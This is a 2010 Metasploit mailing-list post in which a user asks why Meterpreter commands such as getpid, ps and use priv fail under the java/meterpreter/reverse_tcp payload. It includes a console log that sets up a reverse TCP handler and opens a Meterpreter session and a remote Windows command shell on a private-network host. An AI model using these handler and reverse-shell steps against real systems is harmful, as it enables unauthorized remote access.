Metasploit mailing list archives

Meterpreter commands failing


From: Matthew Presson <matthew.presson () gmail com>
Date: Mon, 18 Oct 2010 20:46:56 -0500

When trying to run some meterpreter commands (use priv, ps, getpid, etc)
they fail with "Operation failed" messages.  Here is some of the output from
the session.

       =[ metasploit v3.5.0-dev [core:3.5 api:1.0]
+ -- --=[ 612 exploits - 306 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r10741 updated today (2010.10.19)


msf > use multi/handler
msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.10:4444
[*] Starting the payload handler...
^C[-] Exploit exception: Interrupt
[*] Exploit completed, but no session was created.
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.10:4444
[*] Starting the payload handler...
[*] Sending stage (26938 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.4:3022) at
2010-10-18 20:34:16 -0500


meterpreter > use priv
Loading extension priv...
[-] Failed to load extension: No such file or directory -
/opt/metasploit3/msf3/data/meterpreter/ext_server_priv.jar
meterpreter > getpid
[-] stdapi_sys_process_getpid: Operation failed:
meterpreter > ps
[-] stdapi_sys_process_get_processes: Operation failed:
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
[-] stdapi_sys_config_getprivs: Operation failed:
meterpreter > sysinfo
Computer: Windows7
OS      : Windows 7 6.1 (x86)
meterpreter > getuid
Server username: AdminUser
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\AdminUser\Desktop>


Am I doing something wrong, or are these limitations a product of the
java/meterpreter payload?

-- 
Matt
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: